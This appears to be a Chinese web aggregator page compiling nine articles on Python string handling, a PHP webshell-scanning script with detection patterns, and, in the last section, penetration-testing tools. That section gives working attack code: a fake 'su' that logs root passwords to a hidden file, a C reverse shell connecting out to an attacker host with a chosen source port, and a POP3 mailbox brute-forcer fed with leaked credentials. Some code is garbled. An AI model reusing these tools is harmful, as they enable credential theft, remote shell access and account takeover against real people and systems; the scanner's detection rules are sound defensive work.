python字符串处理常用技巧脚本安全

时间:2022年12月14日

/

来源:榴莲好好好好吃

/

编辑:本站小编

收藏本文

下载本文

以下是小编整理的python字符串处理常用技巧脚本安全,本文共9篇,欢迎阅读与收藏。本文原稿由网友“榴莲好好好好吃”提供。

篇1:python字符串处理常用技巧脚本安全

Python作为一种面向对象语言,语法简洁而清晰,具有丰富和强大的类库;下面我简介一些python使用过程中一些关于字符串处理的技巧,

1.    去掉字符串左右两端的特定字符串:Strip(去掉首位),lstrip(去掉左端),rstrip(去掉右端)

s='.helloworld.'

s.strip('.')

'helloworld'

复制代码

2.    字符串拼接:python中可直接用+符号连接字符串,把字符串连接到指定字符串的末尾

s='hello'+'world'

print s

复制代码

而字符串连接还可以使用join函数,join可以使用特殊字符作为连接符把列表里的元素连接起来

list=['www','google','com']

a='.'

print a.join(list)

复制代码

而当指定的特殊字符为空的时候,效果和+符号是类似的;

3.字符串长度:len()返回相应字符串的长度

print len('helloworld')

复制代码

4.字符串中的大小写转换:upper()把小写转换为大写,lower()把大写转换为小写

str1='helloworld'

str2=str1.upper()

#print str2.lower()

print str2

复制代码

5.查找字符串:find()函数,返回的是下标,如下面的例子,在str1中查找str2,返回的是str1中str2第一个字符的下标;

str1='abcdefg'

str2='cde'

print str1.find(str2)

复制代码

6.分割字符串:split(),这个功能用到的可能比较多,它可以指定字符串中的分割符号,把字符串转换为列表,如下面的例子,指定了分割符号是’.’:

str='www.google.com'

print str.split('.')

复制代码

7.字符串反转输出:在python中对字符串进行反转输出可以使用切片方法,如下:

Print str[::-1]

8.字符串切片:python的字符串切片可以方便我们操作字符串,

一般形式如下:str[start:end:step],start从某一位置开始,包含该位置,stop从某一位置结束,不包含该位置;左边第一个下标为0,右边第一个下标为-1,如图1;下面是一些关于切片的用法:

str = ’0123456789′

print str[0:3] #截取第一位到第三位的字符

print str[:] #截取字符串的全部字符

print str[6:] #截取第七个字符到结尾

print str[:-3] #截取从头开始到倒数第三个字符之前

print str[2] #截取第三个字符

print str[-1] #截取倒数第一个字符

print str[::-1] #创造一个与原字符串顺序相反的字符串

print str[-3:-1] #截取倒数第三位与倒数第一位之前的字符

print str[-3:] #截取倒数第三位到结尾

print str[:-5:-3] #逆序截取,从最右边开始截取,截取到右边数第五个字符结束,步长为3

复制代码

9.字符串与ascii转换rd()函数把字符串转换为十进制的ascii,chr()函数把十进制的ascii值转换为字符

10.十进制与十六进制的转换:hex()函数把十进制数值转换为16进制

11.string类的其他方法:

lowercase()  #所有小写字母

uppercase()  #所有大写字母

digits()    #所有数字

capitalize()    #首字母大写

lower()        #转小写

upper()        #转大写

swapcase()      #大小写互换

12..itertools的迭代模块:

Itertools的一个最基本的功能就是使用相应字符串生成指定大小的笛卡尔积,这个功能可用于字典生成,如我们要生成一个由所有数字组成的4位的字典,我们可以这么做:

import itertools,string

s=string.digits

for num in itertools.product(s,repeat=4):

print ''.join(num)

篇2:python处理字符串

#将mac地址更改成一定格式,如mac='902B345FB021'改为mac='90-2B-34-5F-B0-21',

#其实就是字符串按照固定长度拆分,2位数字拆分

#!/usr/bin/python

# -*- coding: utf-8 -*-

import re

A = open('mac.txt','r')

a = A.readlines()

for aa in a:

b=re.findall(r'.{2}',aa)

c='-'.join(b)

print c

A.close()

每两个字符拆出来,放入一个列表,再用join连接

篇3:Python自定义函数库脚本安全

#  如何自定义函数 基本使用

#  语法结构

#  def 函数名(参数可有也可以没有): 注意冒号 '不是分号'

#  (tab)需要一个tab键来进行缩进

#  (tab)

#  (tab)

#example:

#def function_name;

#  statement1

#  statement2

#================================================================================

#=======================定义一个函数 方便直接调用================================#

#无参数函数

#example one:

deftest_a():#def 是一个关键字 后面定义函数 这个一个无参数的函数

print'我是内容1'#输出内容 一定要用tab来缩进 不然会报错

print'我是内容2'

print'entry'

test_a()

test_a()

test_a()

test_a()

print'entry2'

#有参数函数

#example two:

deftest_b(val1,val2):#函数定义,val1 val2 为型参

printval1,

printval2

print'entry'

test_b(10+1,20+2)#函数调用的时候 10 20 称之为 实参

test_b('lele','123')#如果函数的参数定义了 2 个函数 下面的实参一定要为2个参数

print'entry2'

Ps:终于明白为什么那么多人喜欢编程 写代码 原来看自己写出的那一行行代码 那么有成就感!

篇4:python脚本查找webshellWEB安全

#!/usr/bin/env python

#-*- coding: utf-8 -*-

#=============================================================================

#  FileName:

#    Desc:

#   Author: 苦咖啡

#    Email: voilet@qq.com

#  HomePage: blog.kukafei520.net

#   Version: 0.0.1

#   History:

#=============================================================================

import os

import sys

import re

import smtplib

#设定邮件

fromaddr = “smtp.qq.com”

toaddrs = [“voilet@qq.com”]

username = “voilet”

password = “xxxxxx”

#设置白名单

pass_file = [“api_ucenter.php”]

#定义发送邮件函数

def sendmail(toaddrs,sub,content):

'发送邮件模块'

# Add the From: and To: headers at the start!

msg = (“From: %s\\r\\nTo: %s\\r\\nSubject: %s\\r\\n\\r\\n”

% (fromaddr, “, ”.join(toaddrs), sub))

msg += content

server = smtplib.SMTP('mail.funshion.com', 25,)

server.login(username, password)

server.sendmail(fromaddr, toaddrs, msg)

server.quit()

#设置搜索特征码

rulelist = [

'(\\$_(GET|POST|REQUEST)\\[.{0,15}\\]\\(\\$_(GET|POST|REQUEST)\\[.{0,15}\\]\\))',

'(base64_decode\\([\\'“][\\w\\+/=]{200,}[\\'”]\\))',

'eval\\(base64_decode\\(',

'(eval\\(\\$_(POST|GET|REQUEST)\\[.{0,15}\\]\\))',

'(assert\\(\\$_(POST|GET|REQUEST)\\[.{0,15}\\]\\))',

'(\\$[\\w_]{0,15}\\(\\$_(POST|GET|REQUEST)\\[.{0,15}\\]\\))',

'(wscript\\.shell)',

'(gethostbyname\\()',

'(cmd\\.exe)',

'(shell\\.application)',

'(documents\\s+and\\s+settings)',

'(system32)',

'(serv-u)',

'(提权)',

'(phpspy)',

'(后门)',

'(webshell)',

'(Program\\s+Files)',

'www.phpdp.com',

'phpdp',

'PHP神盾',

'decryption',

'Ca3tie1',

'GIF89a',

'IKFBILUvM0VCJD\\/APDolOjtW0tgeKAwA',

'\\'e\\'\\.\\'v\\'\\.\\'a\\'\\.\\'l\\'',

]

def Scan(path):

for root,dirs,files in os.walk(path):

for filespath in files:

isover = False

if '.' in filespath:

ext = filespath[(filespath.rindex('.')+1):]

if ext=='php' and filespath not in pass_file:

file= open(os.path.join(root,filespath))

filestr = file.read()

file.close()

for rule in rulelist:

result = re.compile(rule).findall(filestr)

if result:

print '文件:'+os.path.join(root,filespath)

print '恶意代码:'+str(result[0])

print '\\n\\n'

sendmail(toaddrs,“增值发现恶意代码”,'文件:'+os.path.join(root,filespath)+“\\n” + '恶意代码:'+str(result[0]))

break

try:

if os.path.lexists(“/home/web_root/”):

print('\\n\\n开始扫描:'+ “/home/web_root/”)

print('       可疑文件        ')

print('########################################')

Scan(“/home/web_root/”)

print('提示:扫描完成--~')

else:

print '提示:指定的扫描目录不存在--- '

except IndexError:

print “请指定扫描文件目录”

篇5:python 中文字符串的处理实现代码

最近更 新

巧用Python装饰器 免去调用父类构造函数的

教你如何在Django 1.6中正确使用 Signal

使用python删除nginx缓存文件示例(python

Python时间戳与时间字符串互相转换实例代

从零学python系列之数据处理编程实例(二

python调用cmd复制文件代码分享

python 正则式使用心得

从零学Python之hello world

pycharm 使用心得(四)显示行号

Python中的map、reduce和filter浅析

热 点 排 行

Python入门教程 超详细1小时学会

python 中文乱码问题深入分析

比较详细Python正则表达式操作指

Python字符串的encode与decode研

Python open读写文件实现脚本

Python enumerate遍历数组示例应

Python 深入理解yield

Python+Django在windows下的开发

python 文件和路径操作函数小结

python 字符串split的用法分享

篇6:Python字符串处理之count方法的使用

这篇文章主要介绍了Python字符串处理之count方法的使用,是Python入门的基础知识,需要的朋友可以参考下

count()方法返回出现在范围内串子数range [start, end],可选参数的start和end都解释为片符号。

语法

以下是count()方法的语法:

str.count(sub, start= 0,end=len(string))

参数

sub -- 这是子串用来进行搜索。

start -- 搜索从这一索引。第一个字符从0开始的索引。默认情况下搜索从0开始的索引。

end -- 搜索从该索引结束,

第一个字符从0开始的索引。默认情况下搜索结束的最后一个索引。

返回值

此方法返回集中在长度宽度的字符串。

例子

下面的例子显示了count()方法的使用。

#!/usr/bin/pythonstr = “this is string example....wow!!!”;sub = “i”;print “str.count(sub, 4, 40) : ”, str.count(sub, 4, 40)sub = “wow”;print “str.count(sub) : ”, str.count(sub)

当我们运行上面的程序,它会产生以下结果:

str.count(sub, 4, 40) : 2str.count(sub, 4, 40) : 1

篇7:Python中处理字符串之isalpha方法的使用

这篇文章主要介绍了Python中处理字符串之isalpha()方法的使用,是Python入门学习中的基础知识,需要的朋友可以参考下

isalpha()方法检查字符串是否仅由字母组成,

语法

以下是islpha()方法的语法:

str.isalpha()

参数

NA

返回值

如果字符串中的所有字符字母和至少有一个字符此方法返回true,否则返回false,

例子

下面的例子显示了isalpha() 方法的使用。

#!/usr/bin/pythonstr = “this”; # No space & digit in this stringprint str.isalpha();str = “this is string example....wow!!!”;print str.isalpha();

当我们运行上面的程序,它会产生以下结果:

TrueFalse

篇8:简介Python中用于处理字符串的center方法

这篇文章主要介绍了简介Python中用于处理字符串的center方法,是Python入门中的基础知识,需要的朋友可以参考下

center()方法返回集中在长度宽度的字符串,填充是通过使用specifiedfillchar。默认填充字符是一个空格。

语法

以下是center()方法的语法:

str.center(width[, fillchar])

参数

width -- 这是字符串的总宽度。

fillchar -- 这是填充符,

返回值

此方法返回集中在长度宽度的字符串。

例子

下面的示例演示center()方法的使用。

#!/usr/bin/pythonstr = “this is string example....wow!!!”;print “str.center(40, ‘a‘) : ”, str.center(40, ‘a‘)

当我们运行上面的程序,它会产生以下结果:

str.center(40, ‘a‘) : aaaathis is string example....wow!!!aaaa

篇9:渗透用的Python小脚本脚本安全

渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小实用,

一、记录root密码小工具

root.py

#!/usr/bin/pythonimportos, sys, getpass, timecurrent_time = time.strftime(“%Y-%m-%d %H:%M”)logfile=“/dev/shm/.su.log”//密码获取后记录在这里#CentOS#fail_str = “su: incorrect password”#Ubuntu#fail_str = “su: Authentication failure”#For Linux Korea                    //centos,ubuntu,korea 切换root用户失败提示不一样fail_str =“su: incorrect password”try:passwd = getpass.getpass(prompt='Password: ');file=open(logfile,'a')file.write(“[%s]t%s”%(passwd, current_time))   //截取root密码file.write('n')file.close()except:passtime.sleep(1)printfail_str                               //打印切换root失败提示

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

二、设置源端口反弹shell

渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,Ping了下百度,可以ping通。那真相只有一个,服务器变态的限制了只能某些提供已某些端口为源端口去连接外面。

比如:只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。

谷歌程序无果,自己查了相关api后写了个。

client-port.c

#include#include#include#include#includevoid error(char *msg){perror(msg);exit(0);}int main(int argc, char *argv[]){int sockfd, portno, lportno,n;struct sockaddr_in serv_addr;struct sockaddr_in client_addr;struct hostent *server;char buffer[256];if(argc <3) {fprintf(stderr,“usage %s hostname port LocalPortn”, argv[0]);exit(0);} //三个参数,目标主机,目标主机端口,本地源端口portno = atoi(argv[2]);sockfd = socket(AF_INET, SOCK_STREAM,0);if(sockfd <0)error(“ERROR opening socket”);bzero((char *) &client_addr, sizeof(client_addr));lportno = atoi(argv[3]);client_addr.sin_family = AF_INET;client_addr.sin_addr.s_addr = INADDR_ANY;client_addr.sin_port = htons(lportno); //设置源端口if(bind(sockfd, (struct sockaddr *) &client_addr,sizeof(client_addr)) <0)error(“ERROR on binding”);server = gethostbyname(argv[1]);if(server == NULL) {fprintf(stderr,“ERROR, no such host ”);exit(0);}bzero((char *) &serv_addr, sizeof(serv_addr));serv_addr.sin_family = AF_INET;bcopy((char *)server->h_addr,(char *)&serv_addr.sin_addr.s_addr,server->h_length);serv_addr.sin_port = htons(portno);if(connect(sockfd,&serv_addr,sizeof(serv_addr)) <0) //连接error(“ERROR connecting”);dup2(fd,0);dup2(fd,1);dup2(fd,2);execl(“/bin/sh”,“sh -i”, NULL); //执行shellclose(fd);}

用法:

gcc client-port.c -o portchmod +x port./port  你的IP 你的监听端口 本地的源端口

如 ./port www.91ri.org 80 80

成功反弹shell 提权成功

三、邮箱爆破脚本

某个时候,需要爆破一批邮箱,

Burp163.pl

#!/usr/bin/perluse Net::POP3;$email=“pop.163.com”;          //设置pop服务器地址 qq为pop.qq.com$pop = Net::POP3->new($email)ordie(“ERROR: Unable to initiate. ”);print$pop->banner();$pop->quit;$i=0;open(fp1,“user.txt”);@array1=;open(fp2,“pass.txt”);@array2=;                     //从文件中获取邮箱用户名及密码foreach $a(@array1) {$u=substr($a,0,length($a)-1);$u=$u.“@163.com”;foreach $b(@array2) {$p=substr($b,0,length($b)-1);print“cracked with ”.$u.“-----”.$p.“n”;$i=$i+1;$pop = Net::POP3->new($email)ordie(“ERROR: Unable to initiate. ”);$m=$pop->login($u,$p);              //尝试登录邮箱if($m>0){print$u.“------------”.$p.“----”.“success”.“n”;$pop->quit;}                                //成功登录else{print$u.“------------”.$p.“----”.“failed”.“n”;$pop->quit;                                     //登录失败}}}print$i;

用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

$email=“pop.163.com”;

再将去除掉@后面部分的邮箱地址比如lusiyu@163.com 去除后lusiyu存进去

同目录user.txt中吗,再将字典存进去pass.txt

你会说:这个有点鸡肋吧?万一邮箱的密码很复杂。

呵呵。

搞到了一个小站的数据,用这个程序批量测试密码是否就是邮箱密码。

呵呵,我啥都没说。

这三个程序仅供技术研究,如读者用于违法行为,本人概不负责。

人性化的盗cookie脚本脚本安全

HOW TO GET PHPCMS WEBSHELL脚本安全

用PHP 4.2书写安全的脚本PHP

怎样用SQL生成XML脚本安全

职场处理投诉及应对技巧

下载python字符串处理常用技巧脚本安全(集锦9篇)
python字符串处理常用技巧脚本安全.doc
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档
点击下载本文文档